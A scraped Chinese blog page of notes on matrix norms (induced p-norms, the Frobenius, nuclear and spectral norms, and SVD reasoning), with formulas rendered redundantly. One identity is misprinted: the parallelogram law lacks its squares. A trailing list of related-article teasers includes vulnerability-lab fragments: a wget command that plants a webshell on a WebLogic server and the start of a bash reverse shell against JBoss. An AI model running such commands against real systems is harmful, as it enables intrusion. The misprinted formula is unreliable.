矩阵范数介绍

这里写目录标题

    • 理论
      • 1 诱导范数 (induced norm)
      • 2 “元素形式”范数(“entrywise" norm)
      • 3 Schatten 范数
    • 论文中常用范数的书写

理论

参考张贤达矩阵分析page 34

矩阵范数主要有三种类型:诱导范数,元素形式范数和Schatten范数

1 诱导范数 (induced norm)

诱导范数又称 m × n m\times n m×n矩阵空间上的算子范数 (operator norm),定义为

(1.4.36)

∥ A ∥ = max ⁡ { ∥ A x ∥ : x ∈ K n , ∥ x ∥ = 1 } = max ⁡ { ∥ A x ∥ ∥ x ∥ : x ∈ K n , x ≠ 0 } \begin{aligned}\|A\|&=\max\{\|Ax\|:\boldsymbol{x}\in\mathbb{K}^n,\|\boldsymbol{x}\|=1\}\\&=\max\left\{\frac{\|Ax\|}{\|x\|}:x\in\mathbb{K}^n,x\neq0\right\}\end{aligned} A=max{Ax:xKn,x=1}=max{xAx:xKn,x=0}

(1.4.37)

常用的诱导范数为 p p p-范数

∥ A ∥ p = ⁡ d e f max ⁡ x ≠ 0 ∥ A x ∥ p ∥ x ∥ p \|A\|_p\overset{\mathrm{def}}{\operatorname*{=}}\max_{\boldsymbol{x}\neq0}\frac{\|\boldsymbol{A}\boldsymbol{x}\|_p}{\|\boldsymbol{x}\|_p} Ap=defx=0maxxpAxp

(1.4.38)

p p p范数也称 Minkowski p p p范数或者 L p L_p Lp范数。特别地, p = 1 , 2 , ∞ p=1,2,\infty p=1,2,时,对应的诱导范数分别为
∥ A ∥ 1 = max ⁡ 1 ⩽ j ⩽ n ∑ i = 1 m ∣ a i j ∣ ( 1.4.39 ) ∥ A ∥ s p e c = ∥ A ∥ 2 ( 1.4.40 ) ∥ A ∥ ∞ = max ⁡ 1 ⩽ i ⩽ m ∑ j = 1 n ∣ a i j ∣ ( 1.4.41 ) \begin{aligned} &\|A\|_1=\max_{1\leqslant j\leqslant n}\sum_{i=1}^m|a_{ij}|&& (1.4.39) \\ &\left\|A\right\|_{\mathrm{spec}}=\left\|A\right\|_2&& (1.4.40) \\ &\left\|\boldsymbol{A}\right\|_\infty=\max_{1\leqslant i\leqslant m}\sum_{j=1}^n\left|a_{ij}\right|&& (1.4.41) \end{aligned} A1=1jnmaxi=1maijAspec=A2A=1immaxj=1naij(1.4.39)(1.4.40)(1.4.41)
也就是说,诱导 L 1 L_{1} L1 L ∞ L_\infty L范数分别直接是该矩阵的各列元素绝对值之和的最大值 (最大
绝对列和)及最大绝对行和;而诱导 L 2 L_{2} L2范数则是矩阵 A \boldsymbol{A} A的最大奇异值。
诱导 L 1 L_1 L1范数 ∥ A ∥ 1 \|\boldsymbol{A}\|_1 A1和诱导 L ∞ L_\infty L范数 ∥ A ∥ ∞ \|\boldsymbol{A}\|_\infty A也分别称为绝对列和范数 (column-sum norm) 及绝对行和范数 (row-sum norm)。诱导 L 2 L_2 L2范数习惯称为谱范数 (spectrum norm)。

2 “元素形式”范数(“entrywise" norm)

m × n m\times n m×n矩阵先按照列堆栈的形式,排列成一个 m n × 1 mn\times1 mn×1向量,然后采用向量的范数定义,即得到矩阵的范数。由于这类范数是使用矩阵的元素表示的,故称为元素形式范数。元素形式范数是下面的 p p p矩阵范数

∥ A ∥ p = d e f ( ∑ i = 1 m ∑ j = 1 n ∣ a i j ∣ p ) 1 / p \left\|A\right\|_p\overset{\mathrm{def}}{=}\left(\sum_{i=1}^m\sum_{j=1}^n|a_{ij}|^p\right)^{1/p} Ap=def(i=1mj=1naijp)1/p

(1.4.42)

以下是三种典型的元素形式 p p p范数:
(1) L 1 L_{1} L1范数 (和范数) ( p = 1 ) (p=1) (p=1)

(1.4.43)

∥ A ∥ 1 = d e f ∑ i = 1 m ∑ j = 1 n ∣ a i j ∣ \|A\|_1\stackrel{\mathrm{def}}{=}\sum_{i=1}^m\sum_{j=1}^n|a_{ij}| A1=defi=1mj=1naij

(2) Frobenius 范数( p = 2 ) p=2) p=2)

∥ A ∥ F = d e f ( ∑ i = 1 m ∑ j = 1 n ∣ a i j ∣ 2 ) 1 / 2 \|A\|_\mathrm{F}\stackrel{\mathrm{def}}{=}\left(\sum_{i=1}^m\sum_{j=1}^n|a_{ij}|^2\right)^{1/2} AF=def(i=1mj=1naij2)1/2

(1.4.44)

(3)最大范数 (max norm)即 p = ∞ p=\infty p= p p p范数,定义为

(1.4.45)

∥ A ∥ ∞ = max ⁡ i = 1 , ⋯ , m ; j = 1 , ⋯ , n { ∣ a i j ∣ } \left\|A\right\|_\infty=\max_{i=1,\cdots,m;j=1,\cdots,n}\{\left|a_{ij}\right|\} A=i=1,,m;j=1,,nmax{aij}

Frobenius 范数可以视为向量的 Euclideani 范数对按照矩阵各列依次排列的“拉长向量” x = [ a 11 , ⋯ , a m 1 , a 12 , ⋯ , a m 2 , ⋯ , a 1 n , ⋯ , a m n ] T x=[a_{11},\cdots,a_{m1},a_{12},\cdots,a_{m2},\cdots,a_{1n},\cdots,a_{mn}]^{\mathrm{T}} x=[a11,,am1,a12,,am2,,a1n,,amn]T的推广。矩阵的 Frobenius 范数有时也称 Euclidean 范数、Schur 范数、Hilbert-Schmidt 范数或者 L 2 L_{2} L2范数。
Frobenius 范数又可写作迹函数的形式

∥ A ∥ F = d e f ⟨ A , A ⟩ 1 / 2 = t r ( A H A ) \left\|\boldsymbol{A}\right\|_\mathrm{F}\stackrel{\mathrm{def}}{=}\left\langle\boldsymbol{A},\boldsymbol{A}\right\rangle^{1/2}=\sqrt{\mathrm{tr}\left(\boldsymbol{A}^\mathrm{H}\boldsymbol{A}\right)} AF=defA,A1/2=tr(AHA)

(1.4.46)

由正定的矩阵 Ω \Omega Ω进行加权的 Frobenius 范数

∥ A ∥ Ω = tr ⁡ ( A H Ω A ) \left\|\boldsymbol{A}\right\|_\Omega=\sqrt{\operatorname{tr}(\boldsymbol{A}^\mathrm{H}\boldsymbol{\Omega}\boldsymbol{A})} AΩ=tr(AHΩA)

(1.4.47)
称为Mahalanobis范数

3 Schatten 范数

Schatten 范数就是用矩阵的奇异值定义的范数,将在第 5 章 (奇异值分析) 中介绍。注意,向量 x x x L p L_p Lp范数 ∥ x ∥ p \|x\|_p xp相当于该向量的长度。当矩阵 A A A作用于长度为 ∥ x ∥ p \|x\|_p xp
的向量 x x x时,得到线性变换结果为向量 A x Ax Ax,其长度为 ∥ A x ∥ p \|Ax\|_p Axp。线性变换矩阵 A A A可视为一线性放大器算子。因此,比率 ∥ A x ∥ p / ∥ x ∥ p \|\boldsymbol{A}x\|_p/\|x\|_p Axp/∥xp提供了线性变换 A x Ax Ax相对于 x x x的放大倍数, 而矩阵 A \boldsymbol{A} A p p p范数 ∥ A ∥ p \|\boldsymbol{A}\|_p Ap是由 A \boldsymbol{A} A产生的最大放大倍数。类似地,放大器算子 A \boldsymbol{A} A的最小放大倍数由

min ⁡ ∣ A ∣ p = ⁡ d e f min ⁡ x ≠ 0 ∥ A x ∥ p ∥ x ∥ p \min|\boldsymbol{A}|_p\overset{\mathrm{def}}{\operatorname*{=}}\min_{\boldsymbol{x}\neq\boldsymbol{0}}\frac{\|\boldsymbol{A}\boldsymbol{x}\|_p}{\|\boldsymbol{x}\|_p} minAp=defx=0minxpAxp

(1.4.48)

给出。比率 ∥ A ∥ p / min ⁡ ∣ A ∣ p ′ \|\boldsymbol{A}\|_p/\min|\boldsymbol{A}|_p^{\prime} Ap/minAp描述放大器算子 A A A的“动态范围”。
A , B A,B A,B m × n m\times n m×n矩阵,则矩阵的范数具有以下性质

(1.4.49)

(1.4.50)

(1.4.51)

∥ A + B ∥ + ∥ A − B ∥ = 2 ( ∥ A ∥ 2 + ∥ B ∥ 2 ) \|A+B\|+\|A-B\|=2(\|A\|^2+\|B\|^2) A+B+AB=2(A2+B2)
∥ A + B ∥ ⋅ ∥ A − B ∥ ⩽ ∥ A ∥ 2 + ∥ B ∥ 2 \|A+B\|\cdot\|A-B\|\leqslant\|A\|^2+\|B\|^2 A+BABA2+B2
以下是矩阵的内积与范数之间的关系 [ 238 ] ^{[238]} [238]
(1) Cauchy-Schwartz 不等式
∣ ⟨ A , B ⟩ ∣ 2 ⩽ ∥ A ∥ 2 ∥ B ∥ 2 \left|\langle A,B\rangle\right|^2\leqslant\|A\|^2\|B\|^2 A,B2A2B2
等号成立,当且仅当 A = c B \boldsymbol A=c\boldsymbol B A=cB,其中, c c c是某个复常数。
(2) Pathagoras 定理: ⟨ A , B ⟩ = 0 \langle \boldsymbol{A}, \boldsymbol{B}\rangle = 0 A,B=0 ⇒ \Rightarrow ∥ A + B ∥ 2 = ∥ A ∥ 2 + ∥ B ∥ 2 \| \boldsymbol{A}+ \boldsymbol{B}\| ^2= \| \boldsymbol{A}\| ^2+ \| \boldsymbol{B}\| ^2 A+B2=A2+B2
(3)极化恒等式
R e ( ⟨ A , B ⟩ ) = 1 4 ( ∥ A + B ∥ 2 − ∥ A − B ∥ 2 ) R e ( ⟨ A , B ⟩ ) = 1 2 ( ∥ A + B ∥ 2 − ∥ A ∥ 2 − ∥ B ∥ 2 ) \begin{aligned}&\mathrm{Re}\left(\langle\boldsymbol{A},\boldsymbol{B}\rangle\right)=\frac14\left(\|\boldsymbol{A}+\boldsymbol{B}\|^2-\|\boldsymbol{A}-\boldsymbol{B}\|^2\right)\\&\mathrm{Re}\left(\langle\boldsymbol{A},\boldsymbol{B}\rangle\right)=\frac12\left(\|\boldsymbol{A}+\boldsymbol{B}\|^2-\|\boldsymbol{A}\|^2-\|\boldsymbol{B}\|^2\right)\end{aligned} Re(A,B)=41(A+B2AB2)Re(A,B)=21(A+B2A2B2)
式中 Re ( ⟨ A , B ⟩ ) (\langle\boldsymbol{A},\boldsymbol{B}\rangle) (⟨A,B⟩)表示 A H B A^\mathrm{H}\boldsymbol{B} AHB的实部。

(1.4.52)

(1.4.53)

论文中常用范数的书写

∣ ⋅ ∣ |\cdot| ,denote the absolute value of a complex scalar
∥ ⋅ ∥ \|\cdot\| ,denote the Euclidean norm of a vector,
∥ ⋅ ∥ ∗ \|\cdot\|_* , denote the the nuclear norm of a matrix,
∥ ⋅ ∥ 2 \|\cdot\|_2 2 denote the spectral norm of a matrix.

  1. 欧几里得范数 Euclidean norm ∥ ⋅ ∥ \|\cdot\| 又称Frobenius范数,Schur范数,Hilbert-Schmidt范数或者 L 2 L_2 L2范数:
    欧几里得范数 对于向量 v = [ v 1 , v 2 , … , v n ] ⊤ \mathbf{v} = [v_1, v_2, \dots, v_n]^\top v=[v1,v2,,vn],它表示向量的长度或大小,定义为所有元素平方和的平方根:

    欧几里得范数 ∥ ⋅ ∥ \|\cdot\| 是用于向量的 2-范数。对于向量 v = [ v 1 , v 2 , … , v n ] ⊤ \mathbf{v} = [v_1, v_2, \dots, v_n]^\top v=[v1,v2,,vn],定义为:
    ∥ v ∥ = ∑ i = 1 n ∣ v i ∣ 2 \|\mathbf{v}\| = \sqrt{\sum_{i=1}^n |v_i|^2} v=i=1nvi2
    它表示向量在空间中的长度或大小。

同理引申到矩阵。

∥ A ∥ = ∥ A ∥ F = d e f ( ∑ i = 1 m ∑ j = 1 n ∣ a i j ∣ 2 ) 1 / 2 \|A\| = \|A\|_\mathrm{F}\stackrel{\mathrm{def}}{=}\left(\sum_{i=1}^m\sum_{j=1}^n|a_{ij}|^2\right)^{1/2} A=AF=def(i=1mj=1naij2)1/2

  1. 核范数 nuclear norm ∥ ⋅ ∥ ∗ \|\cdot\|_*
    核范数是矩阵奇异值的和,也被称为“迹范数”。对于矩阵 A \mathbf{A} A,核范数通过将矩阵的奇异值相加得到,常用于低秩矩阵逼近问题:

    核范数 ∥ ⋅ ∥ ∗ \|\cdot\|_* 是矩阵奇异值的和,常用于低秩矩阵问题。对于矩阵 A \mathbf{A} A,定义为:
    ∥ A ∥ ∗ = ∑ i σ i \|\mathbf{A}\|_* = \sum_{i} \sigma_i A=iσi
    其中 σ i \sigma_i σi 是矩阵 A \mathbf{A} A 的奇异值。

贴上一些关于核范数的拓展介绍。
在这里插入图片描述

  1. 谱范数 spectral norm ∥ ⋅ ∥ 2 \|\cdot\|_2 2
    谱范数,是诱导范数的一种,也称为矩阵的 诱导 L 2 L_2 L2-范数,其定义在最上面

是矩阵的最大奇异值。它描述了矩阵作为线性变换时对向量的最大伸缩程度:

在实际计算时, 谱范数 ∥ ⋅ ∥ 2 \|\cdot\|_2 2 是矩阵的最大奇异值。对于矩阵 A \mathbf{A} A,定义为:
∥ A ∥ 2 = max ⁡ i σ i \|\mathbf{A}\|_2 = \max_i \sigma_i A2=imaxσi
其中 σ i \sigma_i σi 是矩阵 A \mathbf{A} A 的奇异值。

证明如下:

在实际计算中,诱导的 L2 范数,也称为矩阵的谱范数,等于矩阵的最大奇异值。这是因为矩阵的 L2 范数定义为:
∥ A ∥ 2 = sup ⁡ ∥ x ∥ 2 = 1 ∥ A x ∥ 2 \|A\|_2 = \sup_{\|x\|_2 = 1} \|Ax\|_2 A2=x2=1supAx2
也就是对单位向量 (x) 进行矩阵 (A) 作用后所得向量的最大长度(或范数)。这个定义可以理解为,L2 范数描述了矩阵 (A) 在欧几里得空间中作用时可能产生的最大拉伸效果。

在奇异值分解(SVD)中,任意矩阵 (A) 可以表示为:
A = U Σ V T A = U \Sigma V^T A=UΣVT
其中,(U) 和 (V) 是正交矩阵,而 (\Sigma) 是一个对角矩阵,包含了 (A) 的所有奇异值,即 (A) 的作用在不同方向上的尺度因子。

由于 (U) 和 (V) 是正交矩阵,它们的作用不会改变向量的长度(它们仅进行旋转和反射),矩阵 (A) 的拉伸效果完全由 (\Sigma) 矩阵中的对角元素(奇异值)来决定。因此,(A) 对向量的最大拉伸效果(即 L2 范数)就等于最大奇异值。

总结来说,矩阵的 L2 范数与其最大奇异值相等,因此在实际计算诱导 L2 范数时,只需找到矩阵的奇异值并取其中的最大值即可,而无需进一步计算复杂的向量优化问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1542367.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Lua中..和...的使用区别

一. .. 的用法 二. ... 的用法 在 Lua 中,... 是一个特殊符号,它用于表示不定数量的参数。当你在函数定义或调用中使用 ... 时,它可以匹配任意数量的参数,并将它们作为列表传递。在您的代码示例中&am…

【C++ Primer Plus习题】17.5

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <fstream> #include <…

【深入Java枚举类:不仅仅是常量的容器】

前言&#xff1a; Java 枚举类&#xff08;enum&#xff09;是一种特殊的数据类型&#xff0c;用来定义一组预定义的常量。枚举类不仅可以包含常量&#xff0c;还能定义方法、字段和构造器&#xff0c;使其功能更加强大和灵活。 引入 【1】数学&#xff1a;枚举法&#xff1a;…

Qt系统相关——事件

文章目录 事件和信号槽的关系事件处理鼠标事件鼠标进入和离开鼠标点击获取位置鼠标释放鼠标双击鼠标移动鼠标滚轮 键盘事件定时器事件窗口移动和窗口改变 事件和信号槽的关系 Qt信号槽机制&#xff1a; 用户进行的操作就可能产生信号&#xff0c;可以给某个信号指定槽函数&…

【machine learning-15-如何判定梯度下降是否在收敛】

我们在运行梯度下降的时候&#xff0c;如何判定梯度下降是否在收敛呢&#xff1f; 梯度下降的时候&#xff0c;权重和偏置根据如下的公式同时更新&#xff1a; 程序要做的就是更新w 和 b&#xff0c;让梯度下降尽快的收敛&#xff0c;但是如何判定正在收敛呢&#xff1f; 方法…

数据库管理-第243期 云栖有感:AI?AI!(20240922)

数据库管理243期 2024-09-22 数据库管理-第243期 云栖有感&#xff1a;AI&#xff1f;AI&#xff01;&#xff08;20240922&#xff09;1 AI2 干货3 数据库总结 数据库管理-第243期 云栖有感&#xff1a;AI&#xff1f;AI&#xff01;&#xff08;20240922&#xff09; 作者&am…

Java项目实战II基于Java+Spring Boot+MySQL的民宿在线预定平台(开发文档+源码+数据库)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在旅游市场…

WebLogic命令执行漏洞CVE-2019-2725

1.环境搭建 cd vulhub-master/weblogic/weak_password docker-compose up -d 2.漏洞验证 http://47.121.211.205:7001/_async/AsyncResponseService 说明存在漏洞 3.在当前页面抓包 修改请求包 写入shell wget http://47.121.211.205/1.txt -O servers/AdminServer/tmp/_W…

Jboss反序列化漏洞CVE-2015-7501

1.环境搭建 cd vulhub-master/jboss/JMXInvokerServlet-deserialization docker-compose up -d 2.漏洞验证 http://47.121.211.205:8080/invoker/JMXInvokerServlet 如果有文件下载 说明存在 3.使用ysoserial工具进行漏洞利用 将反弹shell进行base64编码 bash -i >&am…

【红动中国-注册_登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞…

车辆重识别(CVPR2016图像识别的深度残差学习ResNet)论文阅读2024/9/21

[2] Deep Residual Learning for Image Recognition ( CVPR 2016) 作者&#xff1a;Kaiming He Xiangyu Zhang Shaoqing Ren Jian Sun 单位&#xff1a;微软研究院 摘要&#xff1a; 更深层的神经网络更难训练。我们提出了一个残差学习框架&#xff0c;以减轻对比先前使用的深…

linux远程工具MobaXterm的安装和使用

一、安装和运行 1、下载 地址&#xff1a;&#xff08;手机夸克转存后下载是对作者最大的支持&#xff09;https://pan.quark.cn/s/32e1f5e5e95c 2、解压 解压到到常用软件目录下&#xff0c;如C:\Program Files 3、运行 双击MobaXterm_Personal_24.2.exe运行&#xff0c;…

路由器如何绑定三层 trunk 接口

一、拓扑&#xff1a; 二、配置思路&#xff1a; 1、AR1、2 起 eth-trunk X&#xff08;AR系列中&#xff0c;X范围0-7&#xff09; 2、改变接口由二层到三层 3、配置 Porttrunk 范围 4、起三层地址 三、配置内容&#xff1a; [AR1]: interface Eth-Trunk0undo portswitchip…

[项目:微服务即时通讯系统客户端(基于C++QT)]三,左侧界面搭建

三&#xff0c;左侧界面搭建 一&#xff0c;导入 先把MainWidget类做成“单例类” 采用的是单例模式&#xff0c;让某一个类&#xff0c;在指定进程中只有唯一的实例 先看一下MainWidget的框架 QWidget//这部分是头文件保护宏&#xff0c;确保该头文件只被包含一次&#x…

NSSCTF刷题篇1

js类型 [SWPUCTF 2022 新生赛]js_sign 这是一道js信息泄露的题目直接查看源码&#xff0c;有一个main.js文件点击之后&#xff0c;有一串数字和一段base64编码&#xff0c;解开base64编码得到这个编码为敲击码 解码在线网站&#xff1a;Tap Code - 许愿星 (wishingstarmoye.…

Fyne ( go跨平台GUI )中文文档- 扩展Fyne (七)

本文档注意参考官网(developer.fyne.io/) 编写, 只保留基本用法 go代码展示为Go 1.16 及更高版本, ide为goland2021.2 这是一个系列文章&#xff1a; Fyne ( go跨平台GUI )中文文档-入门(一)-CSDN博客 Fyne ( go跨平台GUI )中文文档-Fyne总览(二)-CSDN博客 Fyne ( go跨平台GUI…

百度amis框架经验分享

百度amis框架经验分享 官方文档 amis - 低代码前端框架 这篇文章讲了amis的设计 为什么说百度AMIS框架是一个优秀的设计_百度前端框架-CSDN博客 学习方法&#xff1a; 最好的学习方法就是GPT官方文档 不要去很大力气通读官方文档&#xff0c;大概浏览一遍就行&#xff0c; 以你…

VisionPro - 基础 - 模板匹配技术-Search/PMAlign/PatMax(6)-纹理屏蔽和重叠匹配

前言&#xff1a; 1 特征掩膜屏蔽&#xff1a; 模板匹配的应用中&#xff0c;去除非感兴趣的区域&#xff0c;或者去除一些枝端末节的特征&#xff0c;突出需要的主特征的匹配是一个基本原则。这一节&#xff0c;介绍了PatMax的一些处理方法&#xff1a; 2 重叠匹配 1 Ignor…

【HTTPS】中间人攻击和证书的验证

中间人攻击 服务器可以创建出一堆公钥和私钥&#xff0c;黑客也可以按照同样的方式&#xff0c;创建一对公钥和私钥&#xff0c;冒充自己是服务器&#xff08;搅屎棍&#xff09; 黑客自己也能生成一对公钥和私钥。生成公钥和私钥的算法是开放的&#xff0c;服务器能生产&…